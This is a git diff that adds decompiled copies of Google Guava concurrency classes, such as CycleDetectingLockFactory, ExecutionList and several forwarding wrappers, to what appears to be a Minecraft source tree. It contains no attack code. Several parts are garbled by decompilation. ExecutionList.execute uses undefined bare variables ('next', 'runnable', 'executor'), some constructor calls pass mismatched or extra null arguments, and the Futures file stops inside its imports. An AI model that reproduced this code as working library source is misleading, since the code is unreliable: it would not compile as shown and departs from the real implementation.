+      return policy == CycleDetectingLockFactory.Policies.DISABLED ? new ReentrantLock(fair) : new CycleDetectingLockFactory.CycleDetectingReentrantLock(this, (CycleDetectingLockFactory.LockGraphNode)lockGraphNodes.get(rank), fair, null);
+    }
+    
+
+
+
+    public ReentrantReadWriteLock newReentrantReadWriteLock(E rank)
+    {
+      return newReentrantReadWriteLock(rank, false);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public ReentrantReadWriteLock newReentrantReadWriteLock(E rank, boolean fair)
+    {
+      return policy == CycleDetectingLockFactory.Policies.DISABLED ? new ReentrantReadWriteLock(fair) : new CycleDetectingLockFactory.CycleDetectingReentrantReadWriteLock(this, (CycleDetectingLockFactory.LockGraphNode)lockGraphNodes.get(rank), fair, null);
+    }
+  }
+  
+
+
+
+
+  private static final Logger logger = Logger.getLogger(CycleDetectingLockFactory.class.getName());
+  
+  final Policy policy;
+  
+  private CycleDetectingLockFactory(Policy policy)
+  {
+    this.policy = ((Policy)Preconditions.checkNotNull(policy));
+  }
+  
+
+
+
+
+
+
+
+
+  private static final ThreadLocal<ArrayList<LockGraphNode>> acquiredLocks = new ThreadLocal()
+  {
+    protected ArrayList<CycleDetectingLockFactory.LockGraphNode> initialValue() {
+      return Lists.newArrayListWithCapacity(3);
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static class ExampleStackTrace
+    extends IllegalStateException
+  {
+    static final StackTraceElement[] EMPTY_STACK_TRACE = new StackTraceElement[0];
+    
+
+    static Set<String> EXCLUDED_CLASS_NAMES = ImmutableSet.of(CycleDetectingLockFactory.class.getName(), ExampleStackTrace.class.getName(), CycleDetectingLockFactory.LockGraphNode.class.getName());
+    
+
+
+    ExampleStackTrace(CycleDetectingLockFactory.LockGraphNode node1, CycleDetectingLockFactory.LockGraphNode node2)
+    {
+      super();
+      StackTraceElement[] origStackTrace = getStackTrace();
+      int i = 0; for (int n = origStackTrace.length; i < n; i++) {
+        if (CycleDetectingLockFactory.WithExplicitOrdering.class.getName().equals(origStackTrace[i].getClassName()))
+        {
+
+          setStackTrace(EMPTY_STACK_TRACE);
+          break;
+        }
+        if (!EXCLUDED_CLASS_NAMES.contains(origStackTrace[i].getClassName())) {
+          setStackTrace((StackTraceElement[])Arrays.copyOfRange(origStackTrace, i, n));
+          break;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static final class PotentialDeadlockException
+    extends CycleDetectingLockFactory.ExampleStackTrace
+  {
+    private final CycleDetectingLockFactory.ExampleStackTrace conflictingStackTrace;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    private PotentialDeadlockException(CycleDetectingLockFactory.LockGraphNode node1, CycleDetectingLockFactory.LockGraphNode node2, CycleDetectingLockFactory.ExampleStackTrace conflictingStackTrace)
+    {
+      super(node2);
+      this.conflictingStackTrace = conflictingStackTrace;
+      initCause(conflictingStackTrace);
+    }
+    
+    public CycleDetectingLockFactory.ExampleStackTrace getConflictingStackTrace() {
+      return conflictingStackTrace;
+    }
+    
+
+
+
+
+    public String getMessage()
+    {
+      StringBuilder message = new StringBuilder(super.getMessage());
+      for (Throwable t = conflictingStackTrace; t != null; t = t.getCause()) {
+        message.append(", ").append(t.getMessage());
+      }
+      return message.toString();
+    }
+  }
+  
+
+
+
+
+
+
+  private static abstract interface CycleDetectingLock
+  {
+    public abstract CycleDetectingLockFactory.LockGraphNode getLockGraphNode();
+    
+
+
+
+
+
+    public abstract boolean isAcquiredByCurrentThread();
+  }
+  
+
+
+
+
+
+  private static class LockGraphNode
+  {
+    final Map<LockGraphNode, CycleDetectingLockFactory.ExampleStackTrace> allowedPriorLocks = new MapMaker().weakKeys().makeMap();
+    
+
+
+
+
+
+    final Map<LockGraphNode, CycleDetectingLockFactory.PotentialDeadlockException> disallowedPriorLocks = new MapMaker().weakKeys().makeMap();
+    
+    final String lockName;
+    
+    LockGraphNode(String lockName)
+    {
+      this.lockName = ((String)Preconditions.checkNotNull(lockName));
+    }
+    
+    String getLockName() {
+      return lockName;
+    }
+    
+    void checkAcquiredLocks(CycleDetectingLockFactory.Policy policy, List<LockGraphNode> acquiredLocks)
+    {
+      int i = 0; for (int size = acquiredLocks.size(); i < size; i++) {
+        checkAcquiredLock(policy, (LockGraphNode)acquiredLocks.get(i));
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    void checkAcquiredLock(CycleDetectingLockFactory.Policy policy, LockGraphNode acquiredLock)
+    {
+      Preconditions.checkState(this != acquiredLock, "Attempted to acquire multiple locks with the same rank " + acquiredLock.getLockName());
+      
+
+
+
+      if (allowedPriorLocks.containsKey(acquiredLock))
+      {
+
+
+        return;
+      }
+      CycleDetectingLockFactory.PotentialDeadlockException previousDeadlockException = (CycleDetectingLockFactory.PotentialDeadlockException)disallowedPriorLocks.get(acquiredLock);
+      
+      if (previousDeadlockException != null)
+      {
+
+
+        CycleDetectingLockFactory.PotentialDeadlockException exception = new CycleDetectingLockFactory.PotentialDeadlockException(acquiredLock, this, previousDeadlockException.getConflictingStackTrace(), null);
+        
+
+        policy.handlePotentialDeadlock(exception);
+        return;
+      }
+      
+
+      Set<LockGraphNode> seen = Sets.newIdentityHashSet();
+      CycleDetectingLockFactory.ExampleStackTrace path = acquiredLock.findPathTo(this, seen);
+      
+      if (path == null)
+      {
+
+
+
+
+
+
+
+        allowedPriorLocks.put(acquiredLock, new CycleDetectingLockFactory.ExampleStackTrace(acquiredLock, this));
+
+      }
+      else
+      {
+        CycleDetectingLockFactory.PotentialDeadlockException exception = new CycleDetectingLockFactory.PotentialDeadlockException(acquiredLock, this, path, null);
+        
+        disallowedPriorLocks.put(acquiredLock, exception);
+        policy.handlePotentialDeadlock(exception);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    @Nullable
+    private CycleDetectingLockFactory.ExampleStackTrace findPathTo(LockGraphNode node, Set<LockGraphNode> seen)
+    {
+      if (!seen.add(this)) {
+        return null;
+      }
+      CycleDetectingLockFactory.ExampleStackTrace found = (CycleDetectingLockFactory.ExampleStackTrace)allowedPriorLocks.get(node);
+      if (found != null) {
+        return found;
+      }
+      
+
+      for (Map.Entry<LockGraphNode, CycleDetectingLockFactory.ExampleStackTrace> entry : allowedPriorLocks.entrySet()) {
+        LockGraphNode preAcquiredLock = (LockGraphNode)entry.getKey();
+        found = preAcquiredLock.findPathTo(node, seen);
+        if (found != null)
+        {
+
+
+          CycleDetectingLockFactory.ExampleStackTrace path = new CycleDetectingLockFactory.ExampleStackTrace(preAcquiredLock, this);
+          
+          path.setStackTrace(((CycleDetectingLockFactory.ExampleStackTrace)entry.getValue()).getStackTrace());
+          path.initCause(found);
+          return path;
+        }
+      }
+      return null;
+    }
+  }
+  
+
+
+
+  private void aboutToAcquire(CycleDetectingLock lock)
+  {
+    if (!lock.isAcquiredByCurrentThread()) {
+      ArrayList<LockGraphNode> acquiredLockList = (ArrayList)acquiredLocks.get();
+      LockGraphNode node = lock.getLockGraphNode();
+      node.checkAcquiredLocks(policy, acquiredLockList);
+      acquiredLockList.add(node);
+    }
+  }
+  
+
+
+
+
+
+  private void lockStateChanged(CycleDetectingLock lock)
+  {
+    if (!lock.isAcquiredByCurrentThread()) {
+      ArrayList<LockGraphNode> acquiredLockList = (ArrayList)acquiredLocks.get();
+      LockGraphNode node = lock.getLockGraphNode();
+      
+
+      for (int i = acquiredLockList.size() - 1; i >= 0; i--) {
+        if (acquiredLockList.get(i) == node) {
+          acquiredLockList.remove(i);
+          break;
+        }
+      }
+    }
+  }
+  
+  final class CycleDetectingReentrantLock
+    extends ReentrantLock implements CycleDetectingLockFactory.CycleDetectingLock
+  {
+    private final CycleDetectingLockFactory.LockGraphNode lockGraphNode;
+    
+    private CycleDetectingReentrantLock(CycleDetectingLockFactory.LockGraphNode lockGraphNode, boolean fair)
+    {
+      super();
+      this.lockGraphNode = ((CycleDetectingLockFactory.LockGraphNode)Preconditions.checkNotNull(lockGraphNode));
+    }
+    
+
+
+    public CycleDetectingLockFactory.LockGraphNode getLockGraphNode()
+    {
+      return lockGraphNode;
+    }
+    
+    public boolean isAcquiredByCurrentThread()
+    {
+      return isHeldByCurrentThread();
+    }
+    
+
+
+    public void lock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(this);
+      try {
+        super.lock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(this);
+      }
+    }
+    
+    public void lockInterruptibly() throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(this);
+      try {
+        super.lockInterruptibly();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(this);
+      }
+    }
+    
+    public boolean tryLock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(this);
+      try {
+        return super.tryLock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(this);
+      }
+    }
+    
+    public boolean tryLock(long timeout, TimeUnit unit)
+      throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(this);
+      try {
+        return super.tryLock(timeout, unit);
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(this);
+      }
+    }
+    
+    public void unlock()
+    {
+      try {
+        super.unlock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(this);
+      }
+    }
+  }
+  
+
+  final class CycleDetectingReentrantReadWriteLock
+    extends ReentrantReadWriteLock
+    implements CycleDetectingLockFactory.CycleDetectingLock
+  {
+    private final CycleDetectingLockFactory.CycleDetectingReentrantReadLock readLock;
+    
+    private final CycleDetectingLockFactory.CycleDetectingReentrantWriteLock writeLock;
+    
+    private final CycleDetectingLockFactory.LockGraphNode lockGraphNode;
+    
+
+    private CycleDetectingReentrantReadWriteLock(CycleDetectingLockFactory.LockGraphNode lockGraphNode, boolean fair)
+    {
+      super();
+      readLock = new CycleDetectingLockFactory.CycleDetectingReentrantReadLock(CycleDetectingLockFactory.this, this);
+      writeLock = new CycleDetectingLockFactory.CycleDetectingReentrantWriteLock(CycleDetectingLockFactory.this, this);
+      this.lockGraphNode = ((CycleDetectingLockFactory.LockGraphNode)Preconditions.checkNotNull(lockGraphNode));
+    }
+    
+
+
+    public ReentrantReadWriteLock.ReadLock readLock()
+    {
+      return readLock;
+    }
+    
+    public ReentrantReadWriteLock.WriteLock writeLock()
+    {
+      return writeLock;
+    }
+    
+
+
+    public CycleDetectingLockFactory.LockGraphNode getLockGraphNode()
+    {
+      return lockGraphNode;
+    }
+    
+    public boolean isAcquiredByCurrentThread()
+    {
+      return (isWriteLockedByCurrentThread()) || (getReadHoldCount() > 0);
+    }
+  }
+  
+  private class CycleDetectingReentrantReadLock
+    extends ReentrantReadWriteLock.ReadLock
+  {
+    final CycleDetectingLockFactory.CycleDetectingReentrantReadWriteLock readWriteLock;
+    
+    CycleDetectingReentrantReadLock(CycleDetectingLockFactory.CycleDetectingReentrantReadWriteLock readWriteLock)
+    {
+      super();
+      this.readWriteLock = readWriteLock;
+    }
+    
+    public void lock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        super.lock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public void lockInterruptibly() throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        super.lockInterruptibly();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public boolean tryLock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        return super.tryLock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public boolean tryLock(long timeout, TimeUnit unit)
+      throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        return super.tryLock(timeout, unit);
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public void unlock()
+    {
+      try {
+        super.unlock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+  }
+  
+  private class CycleDetectingReentrantWriteLock
+    extends ReentrantReadWriteLock.WriteLock
+  {
+    final CycleDetectingLockFactory.CycleDetectingReentrantReadWriteLock readWriteLock;
+    
+    CycleDetectingReentrantWriteLock(CycleDetectingLockFactory.CycleDetectingReentrantReadWriteLock readWriteLock)
+    {
+      super();
+      this.readWriteLock = readWriteLock;
+    }
+    
+    public void lock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        super.lock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public void lockInterruptibly() throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        super.lockInterruptibly();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public boolean tryLock()
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        return super.tryLock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public boolean tryLock(long timeout, TimeUnit unit)
+      throws InterruptedException
+    {
+      CycleDetectingLockFactory.this.aboutToAcquire(readWriteLock);
+      try {
+        return super.tryLock(timeout, unit);
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+    
+    public void unlock()
+    {
+      try {
+        super.unlock();
+      } finally {
+        CycleDetectingLockFactory.this.lockStateChanged(readWriteLock);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ExecutionError.java b/src/minecraft/com/google/common/util/concurrent/ExecutionError.java
new file mode 100644
index 0000000..121e671
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ExecutionError.java
@@ -0,0 +1,62 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public class ExecutionError
+  extends Error
+{
+  private static final long serialVersionUID = 0L;
+  
+  protected ExecutionError() {}
+  
+  protected ExecutionError(@Nullable String message)
+  {
+    super(message);
+  }
+  
+
+
+  public ExecutionError(@Nullable String message, @Nullable Error cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public ExecutionError(@Nullable Error cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ExecutionList.java b/src/minecraft/com/google/common/util/concurrent/ExecutionList.java
new file mode 100644
index 0000000..1d75b00
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ExecutionList.java
@@ -0,0 +1,177 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Executor;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ExecutionList
+{
+  @VisibleForTesting
+  static final Logger log = Logger.getLogger(ExecutionList.class.getName());
+  
+
+
+
+
+
+
+  @GuardedBy("this")
+  private RunnableExecutorPair runnables;
+  
+
+
+
+
+
+
+  @GuardedBy("this")
+  private boolean executed;
+  
+
+
+
+
+
+
+  public ExecutionList() {}
+  
+
+
+
+
+
+
+  public void add(Runnable runnable, Executor executor)
+  {
+    Preconditions.checkNotNull(runnable, "Runnable was null.");
+    Preconditions.checkNotNull(executor, "Executor was null.");
+    
+
+
+
+    synchronized (this) {
+      if (!executed) {
+        runnables = new RunnableExecutorPair(runnable, executor, runnables);
+        return;
+      }
+    }
+    
+
+
+
+    executeListener(runnable, executor);
+  }
+  
+
+
+
+
+
+
+
+  public void execute()
+  {
+    RunnableExecutorPair list;
+    
+
+
+
+
+
+    synchronized (this) {
+      if (executed) {
+        return;
+      }
+      executed = true;
+      list = runnables;
+      runnables = null;
+    }
+    
+
+
+
+
+
+
+
+
+    RunnableExecutorPair reversedList = null;
+    while (list != null) {
+      RunnableExecutorPair tmp = list;
+      list = next;
+      next = reversedList;
+      reversedList = tmp;
+    }
+    while (reversedList != null) {
+      executeListener(runnable, executor);
+      reversedList = next;
+    }
+  }
+  
+
+
+  private static void executeListener(Runnable runnable, Executor executor)
+  {
+    try
+    {
+      executor.execute(runnable);
+
+    }
+    catch (RuntimeException e)
+    {
+      log.log(Level.SEVERE, "RuntimeException while executing runnable " + runnable + " with executor " + executor, e);
+    }
+  }
+  
+  private static final class RunnableExecutorPair {
+    final Runnable runnable;
+    final Executor executor;
+    @Nullable
+    RunnableExecutorPair next;
+    
+    RunnableExecutorPair(Runnable runnable, Executor executor, RunnableExecutorPair next) {
+      this.runnable = runnable;
+      this.executor = executor;
+      this.next = next;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/FakeTimeLimiter.java b/src/minecraft/com/google/common/util/concurrent/FakeTimeLimiter.java
new file mode 100644
index 0000000..de0e9d1
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/FakeTimeLimiter.java
@@ -0,0 +1,53 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Callable;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class FakeTimeLimiter
+  implements TimeLimiter
+{
+  public FakeTimeLimiter() {}
+  
+  public <T> T newProxy(T target, Class<T> interfaceType, long timeoutDuration, TimeUnit timeoutUnit)
+  {
+    Preconditions.checkNotNull(target);
+    Preconditions.checkNotNull(interfaceType);
+    Preconditions.checkNotNull(timeoutUnit);
+    return target;
+  }
+  
+  public <T> T callWithTimeout(Callable<T> callable, long timeoutDuration, TimeUnit timeoutUnit, boolean amInterruptible)
+    throws Exception
+  {
+    Preconditions.checkNotNull(timeoutUnit);
+    return callable.call();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingBlockingQueue.java b/src/minecraft/com/google/common/util/concurrent/ForwardingBlockingQueue.java
new file mode 100644
index 0000000..c65015e
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingBlockingQueue.java
@@ -0,0 +1,74 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.collect.ForwardingQueue;
+import java.util.Collection;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingBlockingQueue<E>
+  extends ForwardingQueue<E>
+  implements BlockingQueue<E>
+{
+  protected ForwardingBlockingQueue() {}
+  
+  protected abstract BlockingQueue<E> delegate();
+  
+  public int drainTo(Collection<? super E> c, int maxElements)
+  {
+    return delegate().drainTo(c, maxElements);
+  }
+  
+  public int drainTo(Collection<? super E> c) {
+    return delegate().drainTo(c);
+  }
+  
+  public boolean offer(E e, long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().offer(e, timeout, unit);
+  }
+  
+  public E poll(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return delegate().poll(timeout, unit);
+  }
+  
+  public void put(E e) throws InterruptedException {
+    delegate().put(e);
+  }
+  
+  public int remainingCapacity() {
+    return delegate().remainingCapacity();
+  }
+  
+  public E take() throws InterruptedException {
+    return delegate().take();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingCheckedFuture.java b/src/minecraft/com/google/common/util/concurrent/ForwardingCheckedFuture.java
new file mode 100644
index 0000000..a7c563d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingCheckedFuture.java
@@ -0,0 +1,78 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class ForwardingCheckedFuture<V, X extends Exception>
+  extends ForwardingListenableFuture<V>
+  implements CheckedFuture<V, X>
+{
+  public ForwardingCheckedFuture() {}
+  
+  public V checkedGet()
+    throws Exception
+  {
+    return delegate().checkedGet();
+  }
+  
+  public V checkedGet(long timeout, TimeUnit unit) throws TimeoutException, Exception
+  {
+    return delegate().checkedGet(timeout, unit);
+  }
+  
+
+
+  protected abstract CheckedFuture<V, X> delegate();
+  
+
+
+  @Beta
+  public static abstract class SimpleForwardingCheckedFuture<V, X extends Exception>
+    extends ForwardingCheckedFuture<V, X>
+  {
+    private final CheckedFuture<V, X> delegate;
+    
+
+
+    protected SimpleForwardingCheckedFuture(CheckedFuture<V, X> delegate)
+    {
+      this.delegate = ((CheckedFuture)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected final CheckedFuture<V, X> delegate()
+    {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingExecutorService.java b/src/minecraft/com/google/common/util/concurrent/ForwardingExecutorService.java
new file mode 100644
index 0000000..86091a0
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingExecutorService.java
@@ -0,0 +1,117 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.collect.ForwardingObject;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingExecutorService
+  extends ForwardingObject
+  implements ExecutorService
+{
+  protected ForwardingExecutorService() {}
+  
+  protected abstract ExecutorService delegate();
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return delegate().awaitTermination(timeout, unit);
+  }
+  
+  public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException
+  {
+    return delegate().invokeAll(tasks);
+  }
+  
+
+  public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return delegate().invokeAll(tasks, timeout, unit);
+  }
+  
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException, ExecutionException
+  {
+    return delegate().invokeAny(tasks);
+  }
+  
+
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    return delegate().invokeAny(tasks, timeout, unit);
+  }
+  
+  public boolean isShutdown()
+  {
+    return delegate().isShutdown();
+  }
+  
+  public boolean isTerminated()
+  {
+    return delegate().isTerminated();
+  }
+  
+  public void shutdown()
+  {
+    delegate().shutdown();
+  }
+  
+  public List<Runnable> shutdownNow()
+  {
+    return delegate().shutdownNow();
+  }
+  
+  public void execute(Runnable command)
+  {
+    delegate().execute(command);
+  }
+  
+  public <T> Future<T> submit(Callable<T> task) {
+    return delegate().submit(task);
+  }
+  
+  public Future<?> submit(Runnable task)
+  {
+    return delegate().submit(task);
+  }
+  
+  public <T> Future<T> submit(Runnable task, T result)
+  {
+    return delegate().submit(task, result);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingFuture.java b/src/minecraft/com/google/common/util/concurrent/ForwardingFuture.java
new file mode 100644
index 0000000..010d787
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingFuture.java
@@ -0,0 +1,95 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ForwardingObject;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingFuture<V>
+  extends ForwardingObject
+  implements Future<V>
+{
+  protected ForwardingFuture() {}
+  
+  protected abstract Future<V> delegate();
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    return delegate().cancel(mayInterruptIfRunning);
+  }
+  
+  public boolean isCancelled()
+  {
+    return delegate().isCancelled();
+  }
+  
+  public boolean isDone()
+  {
+    return delegate().isDone();
+  }
+  
+  public V get() throws InterruptedException, ExecutionException
+  {
+    return delegate().get();
+  }
+  
+  public V get(long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    return delegate().get(timeout, unit);
+  }
+  
+
+
+
+
+  public static abstract class SimpleForwardingFuture<V>
+    extends ForwardingFuture<V>
+  {
+    private final Future<V> delegate;
+    
+
+
+
+
+    protected SimpleForwardingFuture(Future<V> delegate)
+    {
+      this.delegate = ((Future)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected final Future<V> delegate()
+    {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingListenableFuture.java b/src/minecraft/com/google/common/util/concurrent/ForwardingListenableFuture.java
new file mode 100644
index 0000000..9811f3e
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingListenableFuture.java
@@ -0,0 +1,74 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingListenableFuture<V>
+  extends ForwardingFuture<V>
+  implements ListenableFuture<V>
+{
+  protected ForwardingListenableFuture() {}
+  
+  protected abstract ListenableFuture<V> delegate();
+  
+  public void addListener(Runnable listener, Executor exec)
+  {
+    delegate().addListener(listener, exec);
+  }
+  
+
+
+
+
+
+  public static abstract class SimpleForwardingListenableFuture<V>
+    extends ForwardingListenableFuture<V>
+  {
+    private final ListenableFuture<V> delegate;
+    
+
+
+
+
+    protected SimpleForwardingListenableFuture(ListenableFuture<V> delegate)
+    {
+      this.delegate = ((ListenableFuture)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected final ListenableFuture<V> delegate()
+    {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/ForwardingListeningExecutorService.java b/src/minecraft/com/google/common/util/concurrent/ForwardingListeningExecutorService.java
new file mode 100644
index 0000000..da85eed
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/ForwardingListeningExecutorService.java
@@ -0,0 +1,52 @@
+package com.google.common.util.concurrent;
+
+import java.util.concurrent.Callable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingListeningExecutorService
+  extends ForwardingExecutorService
+  implements ListeningExecutorService
+{
+  protected ForwardingListeningExecutorService() {}
+  
+  protected abstract ListeningExecutorService delegate();
+  
+  public <T> ListenableFuture<T> submit(Callable<T> task)
+  {
+    return delegate().submit(task);
+  }
+  
+  public ListenableFuture<?> submit(Runnable task)
+  {
+    return delegate().submit(task);
+  }
+  
+  public <T> ListenableFuture<T> submit(Runnable task, T result)
+  {
+    return delegate().submit(task, result);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/FutureCallback.java b/src/minecraft/com/google/common/util/concurrent/FutureCallback.java
new file mode 100644
index 0000000..6fe1791
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/FutureCallback.java
@@ -0,0 +1,10 @@
+package com.google.common.util.concurrent;
+
+import javax.annotation.Nullable;
+
+public abstract interface FutureCallback<V>
+{
+  public abstract void onSuccess(@Nullable V paramV);
+  
+  public abstract void onFailure(Throwable paramThrowable);
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/FutureFallback.java b/src/minecraft/com/google/common/util/concurrent/FutureFallback.java
new file mode 100644
index 0000000..39bc5d8
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/FutureFallback.java
@@ -0,0 +1,10 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+
+@Beta
+public abstract interface FutureFallback<V>
+{
+  public abstract ListenableFuture<V> create(Throwable paramThrowable)
+    throws Exception;
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Futures.java b/src/minecraft/com/google/common/util/concurrent/Futures.java
new file mode 100644
index 0000000..cfa14d6
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Futures.java
@@ -0,0 +1,1730 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Function;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableCollection;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableList.Builder;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Ordering;
+import com.google.common.collect.Queues;
+import com.google.common.collect.Sets;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.UndeclaredThrowableException;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
